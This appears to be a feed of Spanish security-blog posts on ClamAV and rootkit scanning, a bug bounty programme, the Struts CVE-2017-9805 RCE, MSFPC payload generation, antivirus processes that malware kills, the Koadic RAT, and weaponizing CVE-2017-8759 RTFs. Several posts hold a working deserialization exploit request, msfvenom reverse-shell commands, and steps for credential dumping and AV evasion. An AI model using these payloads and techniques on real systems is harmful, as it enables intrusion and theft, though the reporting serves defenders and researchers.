Quantcast
Channel: hackplayers
Viewing all 1661 articles
Browse latest View live

Cómo escanear tu Linux contra virus y rootkits

$
0
0
Seguramente cualquier PC con sistema operativo Linux sea menos susceptible de infectarse que uno con Windows, pero eso no quita que no pueda ser igualmente comprometido. Lo peor es muchos usuarios no han instalado ni ejecutado nunca un antivirus en Linux (y ni mucho menos un anti-rootkit) cuando en otros equipos en Windows saben que no pueden (ni deben) trabajar sin un antivirus de puesto de usuario o endpoint.

No debemos caer en esa falsa sensación de seguridad. El malware por simple economía de escalabilidad está más presente en número y forma en sistemas Windows pero los usuarios de Linux debemos protegernos igualmente contra las mismas amenazas.

Precisamente, navegando por Internet encontré un pequeño artículo de Nick Congleton que recomienda usar ClamAV (quizás el antivirus de código abierto más usado en Linux) además de un par de herramientas para detección de rootkits. ¿Qué usas Linux y todavía no los tienes instalados? No dejes pasar esta oportunidad...

1. ClamAV

ClamAV y su frontend gráfico ClamTk son paquetes independientes. Si usas Ubuntu o una distribución basada en Debian puedes instalarlos simplemente con:

sudo apt install clamav clamtk

Una vez instalados tendremos que actualizar la base de datos del antivirus:

sudo freshclam


El mensaje anterior es debido a que freshclam está corriendo ya como demonio, así que si queremos forzar la actualización de forma manual necesitaremos pararlo previamente:

sudo systemctl stop clamav-freshclam

Ahora ya si podremos actualizar la bd sin problemas:


A continuación procederemos a escanear el filesystem completo (o si preferís un directorio en particular), para ello usaremos clamtk, la versión gráfica.

Eso sí, previamente tendremos que irnos a la configuración y marcar las opciones para que el motor escanee ficheros que empiecen con punto (.*), mayores de 20 MB y directorios recursivamente:


Finalmente seleccionaremos el directorio a escanear para empezar el proceso de análisis:


Una vez completada la exploración, ClamTK mostrará cualquier amenaza descubierta y nos permitirá elegir qué hacer con ellas.


Eliminarlas es obviamente mejor, pero podría desestabilizar el sistema, así que se requiere investigar un poco por si acaso.

2. Chkrootkit

El siguiente paso es instalar es Chkrootkit. Chkrootkit escanea los archivos del sistema para detectar signos de alteraciones maliciosas y los revisa contra una base de datos de rootkits conocidos.

Chkrootkit está disponible en la mayoría de los repositorios de muchas distribuciones y normalmente se debe poder instalar sin problemas con el gestor de paquetes correspondientes.

sudo apt install chkrootkit

Después simplemente ejecutamos el comando como root o con sudo.

sudo chkrootkit

Rápidamente empezará a buscar la posible presencia de una buena lista de rootkits conocidos. Puede detenerse durante un tiempo en algunos mientras explora archivos. Debería mostrar "nada encontrado" o "no infectado" al lado de cada uno.


El programa no da un informe final cuando termina, así que hay que volver y comprobar manualmente que no hay resultados.

También se puede parsear la salida del programa con grep y buscar INFECTED, pero eso no lo cogerá todo.

Falso Positivos Conocidos

Hay un error extraño con Chkrootkit que reporta un falso positivo para Linux/Ebury - Operation Windigo. Este es un error conocido desde hace tiempo por la introducción de un indicador -G en SSH. Hay un par de pruebas manuales que podemos ejecutar para verificar que es un falso positivo.

Primero, ejecutamos lo siguiente como root.

find /lib * -type f -name libns2.so

No debería aparecer nada. A continuación, comprobamos que el malware no esté utilizando un socket Unix.

netstat -nap | grep "@/proc/udevd"

Si ninguno de los dos comandos da resultados, el sistema está limpio.

También parece haber un falso positivo bastante nuevo para tcpd en Ubuntu. Si devuelve un resultado positivo en el sistema, investigaremos más, pero hay que tener en cuenta que casi con toda probabilidad el resultado podría ser incorrecto.


También podemos encontrar notificaciones para wted. Éstas pueden ser causados ​​por errores de corrupción o registro en fallos del sistema. Utilizaremos el último para comprobar si los tiempos se alinean con reinicios o bloqueos. En esos casos los resultados probablemente sean causados ​​por esos eventos y no por actividad maliciosa.

3. Rkhunter

Rkhunter es otra herramienta para buscar rookits. Es conveniente ejecutarlo adicionalmente en nuestro sistema para asegurarnos que chkrootkit no se dejó nada y para verificar falsos positivos.

De nuevo, éste debe estar en los repositorios de cada distribución.

sudo apt install rkhunter

Para ejecutar el análisis, primero debemos actualizar también la base de datos de rkhunter.

sudo rkhunter --update

A continuación, lanzamos el escaneo:

sudo rkhunter --check

El programa se detendrá después de cada sección:


Probablemente veremos algunas advertencias. Muchas surgen debido a ciertas configuraciones:


Cuando finalice la exploración, podremos echar un vistazo a log completo en /var/log/rkhunter.log. Ahí podemos ver cada advertencia en detalle.
También le ofrece un resumen completo de sus resultados de análisis.


Y esto es todo. Veis como con unos sencillos pasos hemos podido escanear nuestro sistema en busca de posibles amenazas. Si a ésto añadimos un firewall personal y un poco de sentido común, podremos utilizar un sistema Linux lo más seguro posible.

boxug: el primer bug bounty en habla hispana

$
0
0
El colombiano José Pino (@jofpin) lanzó recientemente Boxug, el primer sistema de recompensas por reporte de vulnerabilidades en habla hispana. Su gran objetivo es la mejora de la seguridad de startups en Latinoamérica, incentivando a los programas de recompensa o bug bounties.

Para empezar y mediante el programa Bug Bounty Latam, el equipo de Boxug proporciona recompensas a los reportes válidos de ciertas vulnerabilidades. La recompensa mínima en dicho programa va de $3 USD a $21 USD, pero no hay una recompensa máxima. Las recompensas se pagan una vez hayan sido validadas por el equipo el mismo día, al recibir el informe.

VULNERABILIDADES CALIFICADAS

Cualquier problema o implementación que sea reproducible y afecte sustancialmente a la seguridad de los usuarios de las startups en latinoamerica es probable que esté en el ámbito del programa. Véase algunos ejemplos comunes:
  • Insecure Direct Object References (IDOR)
  • Authentication bypass | Broken Authentication and Session Management
  • Two-Factor Authentication Broken
  • Cross Site Request Forgery (CSRF)
  • Server-Side Request Forgery (SSRF)
  • Cross Site Scripting (XSS)
  • Cross Site Script Inclusion (XSSI)
  • XML External Entity Injection (XXE)
  • HTML injection en lugares no permitidos
  • Content Spoofing / External Authentication Injection
  • Remote Code Execution / shell injection (RCE)
  • Local File Inclusion (LFI)
  • Remote File Inclusion (RFI)
  • SQL Injection con filtrado de datos específicos (SQLi)
  • Fugas de información
  • Domain / Subdomain Takeover

EXCLUSIONES

No todas las vulnerabilidades reportadas pueden calificar para una recompensa monetaria. Sin embargo, todos los informes se revisan paso a paso y a cualquier informe que sea efectivo pero de muy bajo impacto se le concederá la posibilidad de un reconocimiento en el salón de la fama.
  • Login / Logout CSRF
  • DDoS
  • Self XSS
  • Rotura de confianza SSL/TLS
  • Vulnerabilidades que sólo afectan a usuarios de navegadores y plataformas anticuadas o sin parches
  • Falta de encabezados de seguridad que no conducen directamente a una vulnerabilidad
  • Resultados de herramientas o escáneres automatizados
  • Vulnerabilidades que requieren acceso físico al dispositivo de un usuario afectado

PLANTILLA DE INFORME

Tener en cuenta que la calidad/claridad de su informe es fundamental. Para que puedan reproducir la vulnerabilidad y validar su informe, hay que asegurarse de que contenga los siguientes elementos.

  • ¿Qué tipo de fallo está reportando? ¿Encaja con algún problema de CWE o OWASP?
  • ¿Cómo se reproduce la vulnerabilidad? (Ser conciso al informar, tratar de agregar capturas de pantalla)
  • ¿Cuál es la gravedad de la vulnerabilidad?
  • ¿Cuáles son algunos de los escenarios en los que un atacante podría aprovechar la vulnerabilidad?
  • Sugerir una posible solución (opcional)

WEB OFICIAL:https://boxug.com/

Nuevo exploit crítico para Struts (CVE-2017-9805): de la deserialización insegura a RCE

$
0
0
Investigadores de LGTM, una compañía que ofrece soluciones de análisis de código, reportaron el 17 de julio una vulnerabilidad crítica que afecta al plugin REST de todas las versiones de Apache Struts publicadas desde 2008, de la 2.5 a la 2.5.12.

La vulnerabilidad etiquetada con el CVE CVE-2017-9805 (S2-052) permite ejecución remota de comandos (RCE) gracias a un proceso inseguro de deserialización de payloads XML que realiza el plugin REST mediante el manejador XStream. Más concretamente mediante el interfaz ContentTypeHandler, el cual convierte los datos de entrada del usuario en objetos java. El método toObject() que utiliza no impone ninguna restricción en los datos que recibe y, como podéis imaginar, si se envía un XML malicioso el resultado es la ejecución arbitraria de comandos que comentamos.

El parche para dicha vulnerabilidad fue publicado el pasado martes con la versión de Struts 2.5.13, pero el problema es que a partir de ahí han surgido pruebas de concepto y exploits funcionales (incluso un módulo de metasploit) que permiten comprometer a numerosas aplicaciones web que utilizan el plugin REST (la mayoría en entornos enterprise) y que, dado la reciente publicación del parche, todavía no han sido actualizadas.

Para más inri, “es increiblemente fácil de explotar por un atacante … todo lo que necesitas es un navegador web”, sirva de ejemplo la siguiente PoC:

POST /struts2-rest-showcase/orders/3;jsessionid=A82EAA2857A1FFAF61FF24A1FBB4A3C7 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml
Content-Length: 1663
Referer: http://127.0.0.1:8080/struts2-rest-showcase/orders/3/edit
Cookie: JSESSIONID=A82EAA2857A1FFAF61FF24A1FBB4A3C7
Connection: close
Upgrade-Insecure-Requests: 1

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

Y cómo se puede ver en las siguientes imágenes, con el nuevo módulo de Metasploit nos traemos una sesión de Meterpreter fácilmente:



Así que, como habéis podido comprobar, existen numerosas empresas que utilizan Apache Struts2 en alguna de sus aplicaciones web y están en serio riesgo.

Es la segunda vulnerabilidad crítica que afecta a este framework, después de la etiquetada como CVE-2017-5638 y que fue activamente explotada en marzo. No queda otra, hay que volver a actualizar y urgentemente...

Fuentes:

- Using QL to find a remote code execution vulnerability in Apache Struts (CVE-2017-9805)
- New Critical Apache Struts2 Vulnerability Found (CVE-2017-9805)
- New Apache Struts Vulnerability Puts Many Fortune Companies at Risk
- S2-052的POC测试,高危Struts REST插件远程代码执行漏洞(S2-052),S2-052的 Poc
- Struts2-052 RCE CVE-2017-9805漏洞复现分析【附GIF】
- S2-052的POC测试(原名:Tomcat部署war)
- Critical vulnerability CVE-2017-9805 in Apache Struts could be exploited by attackers to take over affected web servers
- Add Apache Struts 2 REST Plugin XStream RCE (Metasploit)
- Apache Struts RCE tool for CVE 2017-9805 (Go)
- Struts CVE-2017-9805 RCE flaw could be exploited to take over vulnerable servers
- A critical Apache Struts security flaw makes it 'easy' to hack Fortune 100 firms
- Java Unmarshaller Security - Turning your data into code execution 

MSFvenom Payload Creator (MSFPC), una forma rápida de generar payloads de Meterpreter con Msfvenom

$
0
0
MSFvenom Payload Creator (MSFPC) es un wrapper para generar múltiples tipos de payloads, basados en la elección del usuario. La idea es ser tan simple como sea posible (sólo requiere una entrada) para producir un payload.

El objetivo final es la completa automatización de msfvenom y Metasploit (así como ser capaz de automatizarse a sí mismo). El resto es hacer que la vida del usuario sea lo más sencilla posible (por ejemplo mediante un menú de selección de IP, archivos/comandos de recursos de msfconsole, creación de payloads por lotes y posibilidad de ingresar cualquier argumento en cualquier orden).

La única entrada necesaria del usuario debería ser la definición que quiere del payload con la plataforma (por ejemplo, Windows) y la extensión de archivo que quiere que tenga (por ejemplo, exe).
  • ¿No puedes recordar la IP de una interfaz? No te preocupes, simplemente usa el nombre de la interfaz: eth0.
  • ¿No sabes cuál es tu IP externa? MSFPC lo descubrirá: wan.
  • ¿Quieres generar un payload de cada? ¡Sin problema! Prueba: loop.
  • ¿Quieres crear payloads masivamente? ¿Todos? ¿O filtrar la selección? .. Se cual sea la elección no hay problema. Prueba: batch (para todos), batch MSF (para cada opción Meterpreter), batch staged (para todos los payloads staged) o batch cmd stageless (para todos los prompts de comandos stageless)!
Nota: Esto NO intentará bypassear ninguna solución antivirus en ninguna etapa.

Instalación
  • Diseñado para Kali Linux v2.x/Rolling y Metasploit v4.11+.
  • En Kali v1.x debería funcionar.
  • En OSX 10.11+ debería funcionar.
  • En Weakerth4n 6+ debería funcionar.
  • ...no se ha probado en nada más.
$ curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh"> /usr/local/bin/msfpc
$ chmod 0755 /usr/local/bin/msfpc

Kali-Linux

MSFPC está ya en los repositorios de Kali Rolling, por lo que sólo tenemos que ejecutar:

root@kali:~# apt install -y msfpc

Ayuda
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)

 [i] Missing TYPE or BATCH/LOOP mode

 /usr/local/bin/msfpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
   Example: /usr/local/bin/msfpc windows 192.168.1.10        # Windows & manual IP.
            /usr/local/bin/msfpc elf bind eth0 4444          # Linux, eth0's IP & manual port.
            /usr/local/bin/msfpc stageless cmd py https      # Python, stageless command prompt.
            /usr/local/bin/msfpc verbose loop eth1           # A payload for every type, using eth1's IP.
            /usr/local/bin/msfpc msf batch wan               # All possible Meterpreter payloads, using WAN IP.
            /usr/local/bin/msfpc help verbose                # Help screen, with even more information.

 <TYPE>:
   + APK
   + ASP
   + ASPX
   + Bash [.sh]
   + Java [.jsp]
   + Linux [.elf]
   + OSX [.macho]
   + Perl [.pl]
   + PHP
   + Powershell [.ps1]
   + Python [.py]
   + Tomcat [.war]
   + Windows [.exe // .exe // .dll]

 Rather than putting <DOMAIN/IP>, you can do a interface and MSFPC will detect that IP address.
 Missing <DOMAIN/IP> will default to the IP menu.

 Missing <PORT> will default to 443.

 <CMD> is a standard/native command prompt/terminal to interactive with.
 <MSF> is a custom cross platform shell, gaining the full power of Metasploit.
 Missing <CMD/MSF> will default to <MSF> where possible.

 <BIND> opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target.
 <REVERSE> makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target.
 Missing <BIND/REVERSE> will default to <REVERSE>.

 <STAGED> splits the payload into parts, making it smaller but dependent on Metasploit.
 <STAGELESS> is the complete standalone payload. More 'stable' than <STAGED>.
 Missing <STAGED/STAGELESS> will default to <STAGED> where possible.

 <TCP> is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs.
 <HTTP> makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80.
 <HTTPS> makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443.
 <FIND_PORT> will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on <TYPE>.
 Missing <TCP/HTTP/HTTPS/FIND_PORT> will default to <TCP>.

 <BATCH> will generate as many combinations as possible: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT>
 <LOOP> will just create one of each <TYPE>.

 <VERBOSE> will display more information.

Ejemplos

Ejemplo #1 (Windows, totalmente automatizado usando una IP manual)

$ bash msfpc.sh windows 192.168.1.10
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: 192.168.1.10
[i] PORT: 443
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
--platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 \
>'/root/windows-meterpreter-staged-reverse-tcp-443.exe'

[i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'

[i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
$

Ejemplo #2 (Formato Linux, completamente automatizado usando un inferfaz y puerto manual)

$ ./msfpc.sh elf bind eth0 4444 verbose
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: 192.168.103.142
[i] PORT: 4444
[i] TYPE: linux (linux/x86/shell/bind_tcp)
[i] SHELL: shell
[i] DIRECTION: bind
[i] STAGE: staged
[i] METHOD: tcp
[i] CMD: msfvenom -p linux/x86/shell/bind_tcp -f elf \
--platform linux -a x86 -e generic/none LPORT=4444 \
>'/root/linux-shell-staged-bind-tcp-4444.elf'

[i] linux shell created: '/root/linux-shell-staged-bind-tcp-4444.elf'

[i] File: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
[i] Size: 4.0K
[i] MD5: eed4623b765eea623f2e0206b63aad61
[i] SHA1: 0b5dabd945ef81ec9283768054b3c22125aa9185

[i] MSF handler file: '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
[i] Run: msfconsole -q -r '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
$

Ejemplo #3 (Formato Python, Menú IP interactivo)

$ msfpc stageless cmd py tcp
[*] MSFvenom Payload Creator (MSFPC v1.4.4)

[i] Use which interface - IP address?:
[i] 1.) eth0 - 192.168.103.142
[i] 2.) lo - 127.0.0.1
[i] 3.) wan - 31.204.154.174
[?] Select 1-3, interface or IP address: 1

[i] IP: 192.168.103.142
[i] PORT: 443
[i] TYPE: python (python/shell_reverse_tcp)
[i] CMD: msfvenom -p python/shell_reverse_tcp -f raw \
--platform python -e generic/none -a python LHOST=192.168.103.142 LPORT=443 \
>'/root/python-shell-stageless-reverse-tcp-443.py'

[i] python shell created: '/root/python-shell-stageless-reverse-tcp-443.py'

[i] MSF handler file: '/root/python-shell-stageless-reverse-tcp-443-py.rc'
[i] Run: msfconsole -q -r '/root/python-shell-stageless-reverse-tcp-443-py.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
$
Nota: Eliminada la IP WAN.

Ejemplo #4 (Loop - Genera uno de cada)

$ ./msfpc.sh loop wan
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] Loop Mode. Creating one of each TYPE, with default values

[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: xxx.xxx.xxx.xxx
[i] PORT: 443
[i] TYPE: android (android/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p android/meterpreter/reverse_tcp \
LHOST=xxx.xxx.xxx.xxx LPORT=443 \
>'/root/android-meterpreter-stageless-reverse-tcp-443.apk'

[i] android meterpreter created: '/root/android-meterpreter-stageless-reverse-tcp-443.apk'

[i] MSF handler file: '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'
[i] Run: msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!


[*] MSFvenom Payload Creator (MSFPC v1.4.4)

...SNIP...

[*] Done!
$
Nota: Eliminada la IP WAN.
 
Proyecto: https://github.com/g0tmi1k/mpc

Interesante lista de procesos de Windows que un software malicioso intenta matar

$
0
0
Por lo general, las piezas modernas de malware implementan técnicas anti-depuración y anti-VM. Realizan algunas comprobaciones contra el objetivo y cuando se encuentra un resultado positivo, salen en silencio ...

Esas comprobaciones pueden estar probando la resolución de la pantalla, la actividad de un usuario conectado, la presencia de archivos en el escritorio, etc. Pero también buscan interesantes procesos que podrían revelar que están siendo monitorizados o depurados. Esto se consigue normalmente a través de la llamada al sistema GetProcessesByName.
Por ejemplo:

processName = "tool_executed_by_analyst"
processList = Process.GetProcessesByName(processName)
If processList.Count > 0 Then
    ' Process is running, exit silently...
Else
    ' Process is not running, do our malicious stuff...
End If

Pero esta vez, Xavier Mertens del blog /dev/random nos hablaba de un artefacto algo mas tosco que no buscaba procesos sospechosos para salir de forma silenciosa, si no que directamente intentaba terminar un montón de procesos directamente con taskkill.exe:

taskkill.exe /IM /T /F

"/IM" se refiere al nombre de la imagen del proceso, "/T" significa terminar todos los procesos secundarios y "/F" significa forzar matar el proceso . Como podéis imaginar, una técnica bastante agresiva.

De cualquier forma, es interesante tener esta lista de procesos que, como veréis a continuación, algunos son bien conocidos y otros bastante exóticos:

AVK.exe
AVKProxy.exe
AVKService.exe
AVKTray.exe
AVKWCtlx64.exe
AgentSvc.exe
BDSSVC.EXE
Bav.exe
BavSvc.exe
BavTray.exe
BavUpdater.exe
BavWebClient.exe
CertReg.exe
EMLPROXY.EXE
FCDBlog.exe
FCHelper64.exe
FPAVServer.exe
FPWin.exe
FProtTray.exe
FSHDLL64.exe
FSM32.EXE
FSMA32.EXE
FilMsg.exe
FilUp.exe
FortiClient.exe
FortiClient_Diagnostic_Tool.exe
FortiESNAC.exe
FortiFW.exe
FortiProxy.exe
FortiSSLVPNdaemon.exe
FortiTray.exe
GDKBFltExe32.exe
GDSC.exe
GDScan.exe
GdBgInx64.exe
K7AVScan.exe
K7CrvSvc.exe
K7EmlPxy.EXE
K7FWSrvc.exe
K7PSSrvc.exe
K7RTScan.exe
K7SysMon.Exe
K7TSMain.exe
K7TSMngr.exe
K7TSecurity.exe
MCS-Uninstall.exe
MCShieldCCC.exe
MCShieldDS.exe
MCShieldRTM.exe
NS.exe
ONLINENT.EXE
OPSSVC.EXE
PSANHost.exe
PSUAMain.exe
PSUAService.exe
PtSessionAgent.exe
PtSvcHost.exe
PtWatchDog.exe
QUHLPSVC.EXE
SAPISSVC.EXE
SASCore64.exe
SASTask.exe
SBAMSvc.exe
SBAMTray.exe
SBPIMSvc.exe
SCANNER.EXE
SCANWSCS.EXE
SDFSSvc.exe
SDScan.exe
SDTray.exe
SDWelcome.exe
SSUpdate64.exe
SUPERAntiSpyware.exe
SUPERDelete.exe
ScSecSvc.exe
TRAYICOS.EXE
TRAYSSER.EXE
UnThreat.exe
UserReg.exee
VIEWTCP.EXE
VIPREUI.exe
Zanda.exe
Zlh.exe
acs.exe
av_task.exe
avpmapp.exe
bavhm.exe
cmd.exetaskkill/IMnwscmon.exe
coreFrameworkHost.exe
coreServiceShell.exe
econceal.exe
econser.exe
escanmon.exe
escanpro.exe
fcappdb.exe
filwscc.exe
fmon.exe
freshclam.exe
freshclamwrap.exe
fsgk32.exe
fshoster32.exe
fsorsp.exe
fssm32.exe
guardxkickoff_x64.exe
guardxservice.exe
iptray.exe
nanoav.exe
nanosvc.exe
nbrowser.exe
nfservice.exe
njeeves2.exe
nnf.exe
nprosec.exe
nseupdatesvc.exe
nvcod.exe
nvcsvc.exe
nvoy.exe
op_mon.exe
psview.exe
quamgr.exe
schmgr.exe
scproxysrv.exe
trigger.exe
twsscan.exe
twssrv.exe
uiSeAgnt.exe
uiUpdateTray.exe
uiWatchDog.exe
uiWinMgr.exe
utsvc.exe
virusutilities.exe
zlhh.exe

Koadic: post-explotación usando Windows Script Host

$
0
0
En la pasada Defcon, el Red Team de RiskSense presentó una interesante herramienta que ellos describen como un "Advanced JScript/VBScript RAT"

Se trata de Koadic o COM Command & Control, un rootkit de post-explotación de Windows similar a otras herramientas de pentesting como Meterpreter, Cobalt Strike o Powershell Empire.

La principal diferencia es que Koadic hace la mayoría de sus operaciones usando Windows Script Host (aka JScript/VBScript) y tiene compatibilidad para soportar desde una instalación predeterminada de Windows 2000 sin service packs (y potencialmente incluso versiones de NT4) hasta Windows 10.

Es posible servir completamente los payloads en memoria desde el stage 0, así como utilizar comunicaciones cifradas seguras a través de SSL y TLS (dependiendo de lo que haya habilitado el sistema operativo de víctima).

Koadic también intenta ser compatible con Python 2 y 3.

Demo

- Hookea un zombie
- Eleva integridad (UAC Bypass)
- Vuelca la SAM/SECURITY para obtener contraseñas
- Escanea la red local para SMB abiertos
- Pivota a otra máquina

Stagers

Los stagers se encargan de hookear los equipos de las víctimas para poder usar los implants.

MóduloDescription
stager/js/mshtasirve payloads en memoria usando aplicaciones HTML con MSHTA.exe
stager/js/regsvrsirve payloads en memoria usando scriptlets COM con regsvr32.exe
stager/js/rundll32_jssirve payloads en memoria usando rundll32.exe
stager/js/disksirve payloads en memoria usando archivos en disco

Implantes

Los implantes inician jobs en los zombies.

MóduloDescripción
implant/elevate/bypassuac_eventvwrUsa el exploit de enigma0x3 de eventvwr.exe para evadir UAC en Windows 7, 8 y 10.
implant/elevate/bypassuac_sdcltUsa el exploit de enigma0x3 de sdclt.exe para evadir UAC en Windows 10.
implant/fun/zombiePone al máximo el volumen y abre un vídeo en Youtube de The Cranberries en una ventana oculta.
implant/fun/voiceHace sonar un mensaje de texto a voz.
implant/gather/clipboardObtiene el contenido actual del portapapeles del usuario.
implant/gather/hashdump_samObtiene los passwords hasheado de la SAM.
implant/gather/hashdump_dcObtiene los hashes del Controlador de Dominio del fichero NTDS.dit.
implant/inject/mimikatz_dynwrapxInyecta una DLL "reflective-loaded" para ejecutar powerkatz.dll (usando Dynamic Wrapper X).
implant/inject/mimikatz_dotnet2jsInyecta una DLL "reflective-loaded" para ejecutar powerkatz.dll (@tirannido DotNetToJS).
implant/inject/shellcode_excelEjecuta un shellcode (si Excel está instalado).
implant/manage/enable_rdesktopActiva el Escritorio Remoto en el objetivo.
implant/manage/exec_cmdEjecuta un comando arbitrario en el objetivo, y opcionalmente obtiene la salida.
implant/pivot/stage_wmiHookea un zombie en otra máquina usando WMI.
implant/pivot/exec_psexecEjecuta un comando en otra máquina usando psexec de sysinternals.
implant/scan/tcpUsa HTTP para escanear puertos TCP abiertos en la LAN del zombie.
implant/utils/download_fileDescarga un fichero de la máquina zombie.
implant/utils/upload_fileSube un fichero desde el servidor escuchando a los zombies objetivos.

Proyecto: https://github.com/zerosum0x0/koadic

WinConMon o cómo monitorizar la consola de Windows

$
0
0
A principio del mes de septiembre, en el blog de FireEye, Andrew Davis publicó un par de artículos bastante interesantes en los que hablaba de cómo estaba implementada la consola en las distintas versiones de Windows y de los conceptos necesarios para capturar los datos que se escriben en la misma:

https://www.fireeye.com/blog/threat-research/2017/08/monitoring-windows-console-activity-part-one.html
https://www.fireeye.com/blog/threat-research/2017/08/monitoring-windows-console-activity-part-two.html

Cómo podéis imaginar, capturar esta actividad permite algo tan útil como monitorizar el uso de programas de consola interactivos a través de RDP como el símbolo del sistema, PowerShell y, a veces, herramientas personalizadas de control de comandos y control (C2). Sin embargo, el código fuente para hacerlo no fue desvelado :(

Ante tal intransigencia de la gente de Fireye, el mismísimo Ojo de Ra (aka @EyeOfRa) desde HaNoi, VietNam, ha desarrollado WinConMon su propia versión para monitorizar la consola de Windows (a partir de Windows 8). Por supuesto tenéis disponible el código en Github y sólo necesitaréis Visual Studio 2015 (con WDK 10), Osrloader v3.0 y DbgView para montaros una PoC rápida.

Demo:


Github: https://github.com/EyeOfRa/WinConMon

Explotando CVE-2017-8759: inyección de código en el parser WSDL SOAP

$
0
0
Recientemente FireEye descubrió una vulnerabilidad de inyección de código que se produce en el marco .NET al analizar un WSDL utilizando el moniker SOAP. Bautizada como CVE-2017-8759, ya se estaba explotando en Internet mediante un documento de Microsoft Word en ruso “Проект.doc” con el que los atacantes conseguían ejecución de comandos y descargaban y ejecutaban un script en Visual Basic que contenía también comandos en Powershell. Se trataba del malware FINSPY también conocido como FinFisher o WingBird.

Posteriormente, la gente de MDSec publicó un interesante artículo donde explican como explotar esta vulnerabilidad pero además sin la interacción del usuario en el RTF.

En primer lugar, hay que crear un documento con un nuevo objeto OLE (nuevo documento, insertar objeto y crear desde archivo):


A continuación, guardamos el archivo como RTF y volvemos a abrirlo usando un editor hexadecimal. Después localizamos el parámetro "objdata" para identificar dónde está el OLE blob. Cuando encontremos el parámetro, debemos agregar la directiva "\objupdate". Por ejemplo:

{\object\objautlink\objupdate\rsltpict\objw9027\objh450{\*\objclass Word.Document.8}{\*\objdata

Una vez editado, descargamos "blob.bin" de este repositorio GitHub, lo abrimos de nuevo con un editor hexadecimal y actualizamos la URL del archivo WSDL que contiene la inyección de comandos. El OLE blob debe ser utilizado para reemplazar el del documento RTF existente.

En este punto, al abrir el documento RTF, el exploit debería ejecutar el archivo HTA señalado en el WSDL, sin interacción del usuario.

A continuación se muestra un vídeo sobre cómo explotar esta vulnerabilidad:

Fuente: Exploiting CVE-2017-8759: SOAP WSDL Parser Code Injection

Atacando al atacante: vulnerabilidad RCE en Burp Suite 1.7.27

$
0
0
Probablemente Burp Suite es en la actualidad la herramienta de facto para el pentesting web. No es sólo un proxy para interceptar las peticiones entre el navegador y la aplicación destino, también incluye módulos para hacer escaneos activos, spidering, repetidor, intruder, etc. y no para de crecer el número de módulos y extensiones.

